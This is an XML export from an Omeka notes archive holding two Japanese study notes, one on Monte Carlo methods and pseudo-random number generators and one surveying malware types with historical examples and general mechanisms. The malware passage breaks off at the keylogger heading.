          <description>The Dublin Core metadata element set is common to all Omeka records, including items, files, and collections. For more information see, http://dublincore.org/documents/dces/.</description>
          <elementContainer>
            <element elementId="50">
              <name>Title</name>
              <description>A name given to the resource</description>
              <elementTextContainer>
                <elementText elementTextId="1644">
                  <text>note</text>
                </elementText>
              </elementTextContainer>
            </element>
            <element elementId="41">
              <name>Description</name>
              <description>An account of the resource</description>
              <elementTextContainer>
                <elementText elementTextId="1645">
                  <text>日常のノート</text>
                </elementText>
              </elementTextContainer>
            </element>
          </elementContainer>
        </elementSet>
      </elementSetContainer>
    </collection>
    <itemType itemTypeId="47">
      <name>note</name>
      <description>日常のノートの記録</description>
      <elementContainer>
        <element elementId="262">
          <name>note</name>
          <description>テキストの自由記述</description>
          <elementTextContainer>
            <elementText elementTextId="1879">
              <text>


&lt;h1&gt;モンテカルロ法&lt;/h1&gt;
&lt;h2&gt;概要&lt;/h2&gt;
&lt;p&gt;モンテカルロ法は、乱数を用いてシミュレーションを行う数値計算手法です。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;計算が複雑だったり解析的に解が得られない問題に強みがある&lt;/li&gt;
&lt;li&gt;確率的な現象を扱う問題に適している&lt;/li&gt;
&lt;li&gt;サンプリング数を増やすことで精度を向上させることができる&lt;/li&gt;
&lt;li&gt;1940年代にスタニスワフ・ウラムとジョン・フォン・ノイマンによって開発された&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;適用例&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;数値積分（高次元積分の計算）&lt;/li&gt;
&lt;li&gt;物理シミュレーション（粒子の挙動、熱伝導など）&lt;/li&gt;
&lt;li&gt;金融工学（オプション価格の評価、リスク分析）&lt;/li&gt;
&lt;li&gt;統計推定（ベイズ推定、マルコフ連鎖モンテカルロ法）&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;モンテカルロ法による円周率の求め方&lt;/h2&gt;
&lt;h3&gt;アルゴリズム&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;設定&lt;/strong&gt;: 一辺の長さが\(2\)の正方形の中に、半径\(1\)の円を内接させる&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ランダムサンプリング&lt;/strong&gt;: 正方形内にランダムに点を打ち、その点が円の内部か外部かを調べる&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;比率計算&lt;/strong&gt;: 円の内部に入った点の数と全点の数の比率から円周率を推定する&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;精度向上&lt;/strong&gt;: 試行回数（打つ点の数）を増やすほど精度が高くなる&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;数学的原理&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;点が均一にばらまかれていれば、円の面積と正方形の面積の比率に比例する&lt;/li&gt;
&lt;li&gt;正方形の面積: \(4\)（一辺が\(2\)なので \(2 \times 2 = 4\)）&lt;/li&gt;
&lt;li&gt;円の面積: \(\pi \times 1^2 = \pi\)&lt;/li&gt;
&lt;li&gt;円の内部に入った点の比率: \(\frac{\text{円内の点数}}{\text{全点数}} \approx \frac{\pi}{4}\)&lt;/li&gt;
&lt;li&gt;したがって、\(\pi \approx 4 \times \frac{\text{円内の点数}}{\text{全点数}}\)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;精度の評価&lt;/h3&gt;
&lt;p&gt;試行回数を\(N\)とすると、推定誤差は約\(\frac{1}{\sqrt{N}}\)に比例します。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;試行回数を100倍にすると、誤差は約10分の1になる&lt;/li&gt;
&lt;li&gt;より正確な結果を得るには、大量のサンプリングが必要&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;プログラム実装での判定方法&lt;/h3&gt;
&lt;p&gt;ある点\((x, y)\)が円の内部にあるかどうかは、原点からの距離で判定します。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;座標系&lt;/strong&gt;: 原点を正方形の中心に設定し、\(-1 \leq x \leq 1, -1 \leq y \leq 1\)の範囲でランダムに点を生成&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;原点からの距離&lt;/strong&gt;: \(\sqrt{x^2 + y^2}\)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;円の内部判定&lt;/strong&gt;: \(\sqrt{x^2 + y^2} \leq 1\)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;計算効率化&lt;/strong&gt;: 通常は二乗した値で判定: \(x^2 + y^2 \leq 1\)（平方根の計算を回避）&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;乱数生成方法&lt;/h2&gt;
&lt;h3&gt;1. 物理的な乱数生成&lt;/h3&gt;
&lt;h4&gt;サイコロ&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;20面体など特殊なサイコロも利用可能&lt;/li&gt;
&lt;li&gt;10面体では製造が難しいため、0〜9が複数記載された20面体を用いることもある&lt;/li&gt;
&lt;li&gt;確率が均一になるよう設計されている&lt;/li&gt;
&lt;li&gt;主に教育目的や小規模な実験で使用される&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;乱数表&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;0〜9までの数字が不規則に並んでおり、出現確率が等しくなるよう工夫されている&lt;/li&gt;
&lt;li&gt;使い方: 任意の場所からスタートし、順に乱数を拾う（縦、横、斜めなど、どの方向でも可）&lt;/li&gt;
&lt;li&gt;現在は主に疑似乱数が使われるため、一般的には利用されていない&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;物理的過程&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;原子核の崩壊、ダイオードの電気的ノイズ等の確率的現象を利用する&lt;/li&gt;
&lt;li&gt;真の乱数（真性乱数）を生成できるが、生成速度が遅い&lt;/li&gt;
&lt;li&gt;暗号学的用途など、高度なセキュリティが必要な場合に使用される&lt;/li&gt;
&lt;li&gt;ハードウェア乱数生成器（HRNG）として実装されることが多い&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;2. コンピュータによる疑似乱数生成&lt;/h3&gt;
&lt;p&gt;コンピュータによる疑似乱数生成には、平方根中法、線形合同法、Mersenne Twisterなど様々なアルゴリズムが存在します。&lt;br /&gt;疑似乱数は完全な乱数ではないが、統計的性質が良く、高速に生成できるため、モンテカルロ法で広く利用されています。&lt;/p&gt;
&lt;h4&gt;疑似乱数の評価基準&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;周期性&lt;/strong&gt;: 乱数列が繰り返し始めるまでの長さ&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;統計的独立性&lt;/strong&gt;: 前後の値の間に相関がないこと&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;均一性&lt;/strong&gt;: 各値が等しい確率で出現すること&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;計算速度&lt;/strong&gt;: 生成にかかる時間&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;平方根中法（中位平方根法）&lt;/h2&gt;
&lt;h3&gt;アルゴリズム&lt;/h3&gt;
&lt;p&gt;適当な\(n\)桁の数字を2乗し、中位の\(n\)桁を取り出すことで乱数を生成する方法です。&lt;br /&gt;1949年にジョン・フォン・ノイマンによって提案された、一様分布を生成する古典的な方法です。&lt;/p&gt;
&lt;h3&gt;手順例（n=4の場合）&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;初期値として4桁の数値を選ぶ（例: 1234）&lt;/li&gt;
&lt;li&gt;2乗する: \(1234^2 = 1522756\)（7桁）&lt;/li&gt;
&lt;li&gt;中位4桁を取り出す:
&lt;ul&gt;
&lt;li&gt;全体が7桁の場合、中央から4桁を取る（2275）&lt;/li&gt;
&lt;li&gt;具体的には、両端の桁を除いた中央部分を取る&lt;/li&gt;
&lt;li&gt;桁数が足りない場合は0を前に補う&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;次の乱数として使用し、同様の操作を繰り返す&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;計算例の続き&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;初期値: 1234&lt;/li&gt;
&lt;li&gt;1回目: \(1234^2 = 1522756\)（7桁）→ 中位4桁: 2275&lt;/li&gt;
&lt;li&gt;2回目: \(2275^2 = 5175625\)（7桁）→ 中位4桁: 1756&lt;/li&gt;
&lt;li&gt;3回目: \(1756^2 = 3083536\)（7桁）→ 中位4桁: 0835 → 835（先頭の0は通常省略、または835として扱う）&lt;/li&gt;
&lt;li&gt;（以下同様に続く）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;/strong&gt;: 平方根中法では、実装によって「中位」の取り方が若干異なる場合があります。また、0が出現すると以後すべて0になる問題があります。&lt;/p&gt;
&lt;h3&gt;長所&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;簡単で分かりやすい&lt;/li&gt;
&lt;li&gt;計算が速い&lt;/li&gt;
&lt;li&gt;実装が容易&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;短所&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;0が出ると、それ以降の乱数がすべて0になってしまう（収束問題）&lt;/li&gt;
&lt;li&gt;周期が解析的にわかっていない&lt;/li&gt;
&lt;li&gt;統計的性質が悪く、相関が生じやすい&lt;/li&gt;
&lt;li&gt;現在ではほとんど使用されていない（歴史的な手法）&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;線形合同法（Linear Congruential Generator, LCG）&lt;/h2&gt;
&lt;h3&gt;アルゴリズム&lt;/h3&gt;
&lt;p&gt;線形合同法は、1951年にD.H. Lehmerによって提案された、以下の漸化式で疑似乱数を生成する方法です：&lt;/p&gt;
&lt;p&gt;\[x_{n+1} = (a \times x_n + b) \bmod M\]&lt;/p&gt;
&lt;p&gt;ここで：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;\(a\): 乗数（multiplier）&lt;/li&gt;
&lt;li&gt;\(b\): 加数（increment）&lt;/li&gt;
&lt;li&gt;\(M\): 法（modulus）&lt;/li&gt;
&lt;li&gt;\(a, b, M\)は整数でなければならない&lt;/li&gt;
&lt;li&gt;初期値\(x_0\)も整数&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;具体例&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;例1: 小規模な例（教育用）&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;\(a = 5, b = 3, M = 16, x_0 = 1\)&lt;/li&gt;
&lt;li&gt;\(x_1 = (5 \times 1 + 3) \bmod 16 = 8\)&lt;/li&gt;
&lt;li&gt;\(x_2 = (5 \times 8 + 3) \bmod 16 = 43 \bmod 16 = 11\)&lt;/li&gt;
&lt;li&gt;\(x_3 = (5 \times 11 + 3) \bmod 16 = 58 \bmod 16 = 10\)&lt;/li&gt;
&lt;li&gt;（以下同様に続く）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;例2: 実用的なパラメータ（Glibcの古いバージョンで使用）&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;\(a = 1103515245, b = 12345, M = 2^{31}\)&lt;/li&gt;
&lt;li&gt;周期が長く、統計的性質が比較的良好&lt;/li&gt;
&lt;li&gt;注意: 現在のGlibcでは、より高度な乱数生成器を使用している&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;特徴&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;乱数の周期を最大にするための値の選び方が理論的に研究されている&lt;/li&gt;
&lt;li&gt;計算が単純で高速（加算、乗算、剰余演算のみ）&lt;/li&gt;
&lt;li&gt;広く使用されている基本的な疑似乱数生成法&lt;/li&gt;
&lt;li&gt;メモリ使用量が少ない（前の値1つだけ保持）&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;欠点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;係数の与え方によって規則的だったりパターン化することがある&lt;/li&gt;
&lt;li&gt;初期値が極端に小さいと、生成される値が偏る可能性がある&lt;/li&gt;
&lt;li&gt;高次元での相関が問題になることがある（超平面に点が集中する）&lt;/li&gt;
&lt;li&gt;下位ビットの周期性が短い（特に\(M\)が2のべき乗の場合）&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;パラメータの選び方（Hull-Dobellの定理）&lt;/h3&gt;
&lt;p&gt;最長周期\(M\)を得るための条件：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;\(b\)と\(M\)は互いに素（最大公約数が1）&lt;/li&gt;
&lt;li&gt;\(a-1\)は\(M\)のすべての素因数で割り切れる&lt;/li&gt;
&lt;li&gt;\(M\)が4の倍数の場合、\(a-1\)も4の倍数&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;推奨されるパラメータの選び方&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Hull-Dobellの定理の条件を満たす範囲で\(a\)を選ぶ&lt;/li&gt;
&lt;li&gt;初期値は適切な値を選ぶ（極端に小さすぎると、最初のいくつかの値が小さな値に偏る可能性がある）&lt;/li&gt;
&lt;li&gt;\(M\)は通常、2のべき乗または素数を用いる&lt;/li&gt;
&lt;li&gt;\(b\)と\(M\)は互いに素であることが必要（Hull-Dobellの定理の条件1）&lt;/li&gt;
&lt;li&gt;実用的には、既知の良好なパラメータセットを使用することが推奨される&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;線形合同法の変種&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;混合合同法&lt;/strong&gt;: \(b \neq 0\)の場合（上記の標準的な形式）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;乗合同法&lt;/strong&gt;: \(b = 0\)の場合（周期が短くなるが計算が速い）&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;その他の疑似乱数生成法&lt;/h2&gt;
&lt;h3&gt;Mersenne Twister&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;1997年に開発された現代的な疑似乱数生成法&lt;/li&gt;
&lt;li&gt;周期が非常に長い（\(2^{19937}-1\)）&lt;/li&gt;
&lt;li&gt;統計的性質が優れている&lt;/li&gt;
&lt;li&gt;多くのプログラミング言語で標準的に使用されている（Python、Rなど）&lt;/li&gt;
&lt;li&gt;メモリ使用量が比較的多い（約2.5KB）&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;その他の手法&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Xorshift&lt;/strong&gt;: ビット演算のみで高速な乱数生成&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;WELL (Well Equidistributed Long-period Linear)&lt;/strong&gt;: Mersenne Twisterの改良版&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;PCG (Permuted Congruential Generator)&lt;/strong&gt;: 線形合同法を改良した手法&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;まとめ&lt;/h2&gt;
&lt;p&gt;モンテカルロ法は、乱数を利用した強力な数値計算手法です。&lt;br /&gt;円周率の計算を例として、乱数の生成方法から実際の応用まで理解することが重要です。&lt;br /&gt;適切な乱数生成法を選択し、十分な試行回数を確保することで、高い精度の結果を得ることができます。&lt;/p&gt;
&lt;h3&gt;実装時の注意点&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;乱数生成器の選択&lt;/strong&gt;: 用途に応じて適切な手法を選ぶ&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;初期化&lt;/strong&gt;: シード値（初期値）を適切に設定する&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;周期の考慮&lt;/strong&gt;: 十分に長い周期を持つ生成器を使う&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;統計的検定&lt;/strong&gt;: 生成された乱数の品質を評価する&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;再現性&lt;/strong&gt;: 同じシード値で同じ乱数列を生成できるようにする（デバッグ時に有用）&lt;/li&gt;
&lt;/ol&gt;</text>
            </elementText>
          </elementTextContainer>
        </element>
      </elementContainer>
    </itemType>
    <elementSetContainer>
      <elementSet elementSetId="1">
        <name>Dublin Core</name>
        <description>The Dublin Core metadata element set is common to all Omeka records, including items, files, and collections. For more information see, http://dublincore.org/documents/dces/.</description>
        <elementContainer>
          <element elementId="50">
            <name>Title</name>
            <description>A name given to the resource</description>
            <elementTextContainer>
              <elementText elementTextId="1875">
                <text>シミュレーション工学６</text>
              </elementText>
            </elementTextContainer>
          </element>
          <element elementId="39">
            <name>Creator</name>
            <description>An entity primarily responsible for making the resource</description>
            <elementTextContainer>
              <elementText elementTextId="1876">
                <text>unjuno</text>
              </elementText>
            </elementTextContainer>
          </element>
          <element elementId="56">
            <name>Date Created</name>
            <description>Date of creation of the resource.</description>
            <elementTextContainer>
              <elementText elementTextId="1877">
                <text>2025-10-31</text>
              </elementText>
            </elementTextContainer>
          </element>
          <element elementId="47">
            <name>Rights</name>
            <description>Information about rights held in and over the resource</description>
            <elementTextContainer>
              <elementText elementTextId="1878">
                <text>CC BY-NC 4.0 - 非営利目的のみ許可</text>
              </elementText>
            </elementTextContainer>
          </element>
        </elementContainer>
      </elementSet>
    </elementSetContainer>
  </item>
  <item itemId="115" public="1" featured="0">
    <collection collectionId="57">
      <elementSetContainer>
        <elementSet elementSetId="1">
          <name>Dublin Core</name>
          <description>The Dublin Core metadata element set is common to all Omeka records, including items, files, and collections. For more information see, http://dublincore.org/documents/dces/.</description>
          <elementContainer>
            <element elementId="50">
              <name>Title</name>
              <description>A name given to the resource</description>
              <elementTextContainer>
                <elementText elementTextId="1644">
                  <text>note</text>
                </elementText>
              </elementTextContainer>
            </element>
            <element elementId="41">
              <name>Description</name>
              <description>An account of the resource</description>
              <elementTextContainer>
                <elementText elementTextId="1645">
                  <text>日常のノート</text>
                </elementText>
              </elementTextContainer>
            </element>
          </elementContainer>
        </elementSet>
      </elementSetContainer>
    </collection>
    <itemType itemTypeId="47">
      <name>note</name>
      <description>日常のノートの記録</description>
      <elementContainer>
        <element elementId="262">
          <name>note</name>
          <description>テキストの自由記述</description>
          <elementTextContainer>
            <elementText elementTextId="1874">
              <text>&lt;h1&gt;マルウェアと対策&lt;/h1&gt;
&lt;h2&gt;マルウェアの種類と実際の事例&lt;/h2&gt;
&lt;h3&gt;ウイルス&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;定義&lt;/strong&gt;: プログラムファイルにより感染実行される&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;詳細説明&lt;/strong&gt;: 他のプログラムに寄生し、実行時に自己複製して他のファイルに感染を広げるマルウェア&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;実際の事例&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;ILOVEYOU（2000年）&lt;/strong&gt;: 「I Love You」というタイトルのメールで拡散。添付ファイルを開くと、システム内のファイルを上書き・削除し、Outlookのアドレス帳に自動送信して拡散。推定被害額は55億ドル&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Melissa（1999年）&lt;/strong&gt;: Word文書のマクロとして動作し、感染した文書をメールで自動送信。初回感染から数時間で数万件のメールが送信され、メールサーバーを麻痺させた&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CIH/Chernobyl（1998年）&lt;/strong&gt;: 実行ファイルに感染し、ハードディスクのデータを破壊。4月26日（チェルノブイリ事故の日）に発動し、BIOSを破壊する機能も持っていた&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;動作メカニズム&lt;/strong&gt;: 感染したファイルが実行されると、他の実行ファイルに自身をコピーし、システム全体に感染を拡大&lt;/p&gt;
&lt;h3&gt;ワーム&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;定義&lt;/strong&gt;: 人間の操作なしに自動でネットワーク経由に拡散する&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;詳細説明&lt;/strong&gt;: ネットワーク経由で自動的に拡散するマルウェア。人間の操作なしに自己複製し、他のシステムに感染を広げる&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;実際の事例&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;WannaCry（2017年）&lt;/strong&gt;: WindowsのSMB脆弱性（MS17-010）を利用して世界中に拡散。ワーム型ランサムウェアであり、ランサムウェアの項も参照。150カ国以上で20万台以上のPCが感染し、病院、企業、政府機関が被害を受けた。身代金としてビットコインでの支払いを要求&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Conficker（2008年）&lt;/strong&gt;: USBメモリやネットワーク共有を介して拡散。感染したシステムをボットネットの一部として悪用し、最大で900万台のPCが感染したと推定&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SQL Slammer（2003年）&lt;/strong&gt;: SQL Serverの脆弱性を利用し、10分以内に世界中の脆弱なSQL Serverに感染。インターネット全体の通信速度を大幅に低下させた&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;動作メカニズム&lt;/strong&gt;: ネットワーク上の脆弱なシステムを自動的に探し出し、自己複製して感染を拡大。人間の操作を必要としない&lt;/p&gt;
&lt;h3&gt;トロイの木馬&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;定義&lt;/strong&gt;: 正常なアプリに見せかけて必要のない任意の動作をさせる&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;詳細説明&lt;/strong&gt;: 有用なソフトウェアと信じさせて実行させ、バックグラウンドで悪意のある処理を実行するマルウェア&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;実際の事例&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Zeus（2007年〜）&lt;/strong&gt;: オンラインバンキングの認証情報を盗むために使用。感染すると、銀行のログインページに偽のフィールドを挿入し、ユーザーの認証情報を盗み取った。推定被害額は数千万ドル&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;FakeAV（偽アンチウイルス）&lt;/strong&gt;: 偽のアンチウイルスソフトとしてユーザーを騙し、不要なソフトウェアを購入させる詐欺を行った。システムを「スキャン」して偽の脅威を報告し、有料版の購入を促した&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Emotet（2014年〜2021年）&lt;/strong&gt;: 正規のメールを装って拡散し、感染すると他のマルウェア（TrickBot、Ryuk等）をダウンロードするダウンローダとして機能。世界で最も危険なマルウェアの一つとされた&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;動作メカニズム&lt;/strong&gt;: ユーザーが信頼してインストールすると、バックドアの設置、情報の窃取、他のマルウェアのダウンロードなどの悪意のある活動を実行&lt;/p&gt;
&lt;h3&gt;バックドア&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;定義&lt;/strong&gt;: 正規の手段ではないリモートでアクセスできるようにして任意の動作をさせる&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;詳細説明&lt;/strong&gt;: システムに隠れたアクセス経路を作成し、攻撃者が遠隔からシステムを制御可能にするマルウェア&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;実際の事例&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Netcat&lt;/strong&gt;: 正規のネットワークツールとして開発されたが、悪用されるとバックドアとして機能。リモートでコマンドを実行し、データを盗み取ることが可能&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Back Orifice（1998年）&lt;/strong&gt;: Windowsシステムへのリモートアクセスを提供するツールとして開発。感染したシステムを完全に制御でき、ファイル操作、画面監視、キーログ取得などが可能&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Cobalt Strike&lt;/strong&gt;: ペネトレーションテストツールとして開発されたが、攻撃者に悪用されることが多い。高度なバックドア機能を提供し、企業ネットワークへの侵入に使用される&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;動作メカニズム&lt;/strong&gt;: システムに隠れて存在し、攻撃者がリモートでコマンドを実行したり、データを盗んだりすることを可能にする&lt;/p&gt;
&lt;h3&gt;RAT（Remote Access Trojan）&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;定義&lt;/strong&gt;: Remote Access Trojan（リモートアクセス型トロイの木馬）&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;詳細説明&lt;/strong&gt;: 感染したシステムを遠隔から完全に制御し、ファイル操作、画面監視、キーログ取得などが可能なマルウェア&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;実際の事例&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;DarkComet&lt;/strong&gt;: フリーソフトとして配布されていたRAT。感染したシステムを遠隔から完全に制御でき、ファイル操作、画面監視、キーログ取得、ウェブカメラの操作などが可能。2012年に開発者が配布を停止&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;njRAT&lt;/strong&gt;: 中東地域で広く使用されたRAT。感染したシステムを遠隔から制御し、DDoS攻撃の実行、ファイルの盗み取り、パスワードの取得などを行う&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;BlackShades&lt;/strong&gt;: 商用RATとして販売されていたが、犯罪に悪用された。感染したシステムの完全な制御が可能で、キーログとスクリーンショットの取得機能を持つ&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;動作メカニズム&lt;/strong&gt;: 感染したシステムにバックドアを設置し、攻撃者が遠隔からシステムを完全に制御できるようにする&lt;/p&gt;
&lt;h3&gt;ボット&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;定義&lt;/strong&gt;: ボットネットを構成するマルウェア&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;詳細説明&lt;/strong&gt;: 感染したシステムをボットネットの一部として登録し、攻撃者の指示で一斉に動作するマルウェア&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;実際の事例&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Mirai（2016年）&lt;/strong&gt;: IoT機器（監視カメラ、ルーター等）を標的としたボットネット。デフォルトパスワードを使用する機器に感染し、最大60万台の機器を制御。Dyn社へのDDoS攻撃でインターネット全体に影響を与えた&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Zeus&lt;/strong&gt;: オンラインバンキングの認証情報を盗むボットネット。感染したPCから銀行口座情報を盗み取り、不正送金を行う。推定被害額は数千万ドル&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Conficker&lt;/strong&gt;: 前述のワームでもあるが、感染したシステムをボットネットとして悪用。最大で900万台のPCが感染し、スパムメール送信や他のマルウェアの配布に使用された&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;動作メカニズム&lt;/strong&gt;: 感染したシステムを攻撃者のサーバーに登録し、攻撃者の指示で一斉にDDoS攻撃、スパム送信、情報収集などの活動を実行&lt;/p&gt;
&lt;h3&gt;ダウンローダ&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;定義&lt;/strong&gt;: 他のマルウェアをダウンロード・実行するマルウェア&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;詳細説明&lt;/strong&gt;: 小さな初期ペイロードで感染し、インターネットから追加のマルウェアをダウンロードするマルウェア&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;実際の事例&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Emotet（2014年〜2021年）&lt;/strong&gt;: 正規のメールを装って拡散し、感染すると他のマルウェア（TrickBot、Ryuk等）をダウンロードするダウンローダとして機能。世界で最も危険なマルウェアの一つとされ、2021年に国際的な捜査により摘発された&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;TrickBot&lt;/strong&gt;: オンラインバンキングの認証情報を盗むマルウェアをダウンロードするダウンローダ。感染すると、銀行のログインページに偽のフィールドを挿入し、ユーザーの認証情報を盗み取る&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;QakBot&lt;/strong&gt;: 企業ネットワークへの侵入を目的としたダウンローダ。感染すると、他のマルウェアをダウンロードし、ネットワーク内での横移動を行う&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;動作メカニズム&lt;/strong&gt;: 小さな初期ペイロードで感染し、インターネットから追加のマルウェアをダウンロードして実行&lt;/p&gt;
&lt;h3&gt;スパイウェア&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;定義&lt;/strong&gt;: ユーザーの行動や情報を監視・収集するマルウェア&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;詳細説明&lt;/strong&gt;: ユーザーの同意なしに個人情報、ブラウジング履歴、キー入力などを収集するマルウェア&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;実際の事例&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;CoolWebSearch&lt;/strong&gt;: ブラウザの設定を変更し、ユーザーの検索履歴や個人情報を収集。偽の検索結果を表示し、広告収入を得ることを目的とした&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;FinFisher&lt;/strong&gt;: 政府機関などが使用するスパイウェア。対象者の通信を監視し、音声録音、スクリーンショット取得、ファイルの盗み取りなどの機能を持つ&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Exodus（2019年）&lt;/strong&gt;: Androidスマートフォンに感染するスパイウェア。連絡先、写真、ビデオなどの情報へのアクセスや盗聴などを行った&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;動作メカニズム&lt;/strong&gt;: バックグラウンドで動作し、キーストロークの記録、スクリーンショットの取得、通信内容の監視などを行う&lt;/p&gt;
&lt;h3&gt;キーロガー・スクリーンロガー&lt;/h3&gt;
